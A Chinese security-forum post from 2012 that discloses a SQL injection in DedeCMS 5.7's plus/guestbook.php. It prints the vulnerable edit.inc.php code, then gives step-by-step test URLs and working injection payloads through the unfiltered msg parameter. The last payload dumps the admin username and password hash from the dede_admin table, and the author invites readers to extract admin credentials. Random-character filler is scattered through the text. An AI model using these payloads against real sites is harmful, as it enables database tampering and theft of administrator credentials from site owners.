找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3803|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7. M% }( K4 Z* t8 h* a
& K$ s3 L5 Q- M  ~
漏洞文件edit.inc.php具体代码:
& b/ J* p0 T/ V2 i3 q. T) j4 A, W4 Z. E+ _8 E* R4 p- \: n
< ?php  0 P, H8 A( G7 [
1 m( V+ _* ^; M0 w. D% O3 b
if(!defined('DEDEINC')) exit('Request Error!');  
( |; a  m& @( z' i0 x6 a! J* _1 x5 ^1 N( s2 s3 ?* R
   
  c- Y% ?+ A  M" V! y8 ?: n6 n
: m: A0 O0 s' G2 C/ S+ u9 R* Fif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
# G. D5 z, {/ l9 N4 q, U. V1 m+ b/ B
else $GUEST_BOOK_POS = "guestbook.php";  
# i) J, u2 j! Y( u
: `2 M9 N$ D# L" ^6 F$ _+ Y   
1 g/ C. I2 K) Z. {) }( ^, a) H6 P0 C' \3 e: [7 X
$id = intval($id);  6 u5 V' T* X5 ]% ^
( B) U9 N1 i( v. f* Y
if(empty($job)) $job='view';  
$ S  g' ~3 w2 u2 ~  E! r% q# s! @$ p6 t3 u$ x" c
   1 v3 Y/ H& N, K! K/ v8 M
. {$ ]% u4 t: C) U: f
if($job=='del' && $g_isadmin)  
' y4 Q' a4 {" }% p3 y
8 {) j( p8 \' ~* ]. `5 x{  
4 e0 ~7 P  j9 a6 {4 `8 W" h; y" J0 a8 g/ [# I, O; o
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
: a& x. u' x) m$ Y9 J* b9 H: r9 G0 I; E1 i, G  _
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
) V* m# F/ Q0 a; D: B, [8 F9 b8 ], U) ~: h* U5 \
exit();  4 r4 Y( W' ]) ]5 X* j8 T
$ f$ d, r+ r% [8 r
}  
+ A! V3 B- O) n" I0 `4 r8 h1 f0 L+ k( ?
else if($job=='check' && $g_isadmin)  
# G4 L# N' d& [# W; v- p; B+ O, ^5 C! R
{  
8 C. N: A! |7 z# ^) h5 k( Z
3 p5 g: E% L2 J" I% s, X$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  4 d0 z& b9 r: [% P' H
, q! O$ \5 {! _5 ]7 D- z
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  : S/ n$ Q- h. F

- B+ c0 k" C) f9 I( \! Rexit();  / O2 j4 s. O7 N6 d8 V

$ S$ f- q5 p0 ~3 \}  5 z5 h( N+ B( G7 T4 d8 }

! e" s2 q8 Y0 melse if($job=='editok')  ) z2 {/ b3 a) Q- _
! M0 x, r& g4 `
{  ( J' K! _8 _. i) b' z0 H6 F2 q+ p
: R, s: E1 k6 g- b
$remsg = trim($remsg);  $ _* G+ Z! _" M2 T! C% [* s
  `% |0 x. m% S+ r, l7 A
if($remsg!='')  * n/ o% |. @3 W) F/ i, e) V% _

* Z2 [6 H! L3 y1 |8 i: J3 K{  
; l+ C  i6 k# E& B' T5 d- ~* t  q5 }: e$ `) w
//管理员回复不过滤HTML By:Errorera blog:errs.cc    O. T$ j0 @. ^1 ~% @" `' B

7 H& E5 S2 n$ O" j& V  l: g* bif($g_isadmin)  
4 ]3 M% Y- T4 }. a7 w, R
2 j; h7 J; _( n& ?& Q# }: g$ a, F% l4 g{  % S7 i2 C: G' }% C1 O' B
, U* g, A' q9 z. {( F5 K5 m
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
$ d% G. F: n/ ~' c
6 u$ t+ T; R" r) E//$remsg <br /><font color=red>管理员回复:</font> }  $ _, [4 A) K. W: T4 g) P0 n
  h2 K- R) {2 |& j
else " H' s, t& a0 i. G0 y
, e5 D8 p4 s9 `6 d
{  # j" a" _( a2 ~& t
4 f( d9 |; M* R! C* J
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
7 G* i5 |& R: s9 ?7 B; }: f) j( C( A0 ]) }
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  . {/ @2 S. \% \$ x& Z

9 u  ~- @5 S5 O- T1 r$ N$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
; D$ f5 E( T( q! U5 R! `: q  K! p' U  R! I
$msg = $oldmsg.$remsg;  / m/ W* ^- G! V1 U; A% v/ T1 w

& y9 s$ C% k- {$ n; U& s5 V" U+ y}  9 Y* e- A  Y5 ^- p$ u' ^

" _2 R( B% `, t, Z( R2 m' z5 e}  ( t: s( Y6 j/ k" ?( q

  Y0 p+ G+ t2 X, d2 G+ `//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  0 m& ~5 G' O) U) x' h4 Z

: p( k2 P2 o- ]+ w" {6 [5 E, E$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
4 `* r4 z$ l0 x1 E. u; k- E
: b0 L' x& Y* z  |: C" ?% O$ j  LShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
& M, t, i2 B1 T% b8 X7 q" X% z3 s( j4 h7 i  d
exit();  
1 E8 M* B6 r" j3 Q7 G4 N0 p+ B/ d' V* b( j/ N/ R5 z: m+ K
}  & j6 S9 h% b+ G9 E: a. C# P
4 j  @0 s) Z' ?1 {6 j; X3 U
//home:www.errs.cc  ; T9 z, @6 q% M2 t( g" `% m2 b

+ w3 @- X8 v  L+ m) kif($g_isadmin)  3 Z. _. |* f9 y
! B1 y: `( j% a( T. G9 L% A( P
{  
- x  w2 x* V8 G: ?* J+ O- T( E7 w1 U# R- H: v) U
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  7 C6 o, K% V$ C. q) r& w. ^1 r

, r: y/ D4 _7 n7 I7 |% {require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
; X: b9 H. \1 m$ l! `0 _. S3 Z1 ?0 E1 G
}  0 g, M) `" k  Z, V. l& @
( f  t, {, g2 A" @3 ~4 c
else 5 z: f: w- b% a$ c6 n
- o# P( @" D$ }7 R& f
{  ) S5 z. J+ {7 p' r
# `* _! _% E6 O% `! d" E. t- u
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  - i4 x: a4 f+ _5 }

4 f" e  u; o$ e9 G( d: Q) Prequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  / \  V7 E" A* U
0 B* s+ u. k+ P7 B- G
} 漏洞成功需要条件:
" L6 h- v4 y, L. H! M1. php magic_quotes_gpc=off
" M7 l/ T0 j, c7 [2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
  E  v" \! Y2 l: {0 O% v- q
) ?$ O0 A/ |$ c) O怎么判断是否存在漏洞:" p: \5 g# W) Q2 }$ S: g- |
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
8 V' v( i: M- ~6 y! t, W4 z" q然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID8 C* |' N& J& `( N
访问:! F# K1 v, x9 I- @$ \

/ \5 V# C- b! [* U/ K4 w- Ywww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
, m* I, @- p7 W- B0 B跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证7 d7 F# p$ ]" s% f2 c
/ Y  d9 }$ Y" p& o$ B& r
# A, }' H0 }  H! r( J: l9 f
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off: `, @, ^, ?) o  V
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。7 S6 A$ U- o0 @4 h, a5 ?
那么再次访问
- U' w* H+ C* D9 c( \2 _
5 u) a* }5 ~4 y& k+ ^www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
! A& h5 q1 v6 f# P
2 P1 H$ I" }6 F- ?大概利用就是这样,大家有兴趣的多研究下!!
4 O7 g$ \# f- A( [0 c- P% h4 h+ Q6 U7 w' k" J/ C6 t; v
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!8 t! m5 y4 w6 y: p! z3 A

# Y# T8 d3 h  b. C: e4 sview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表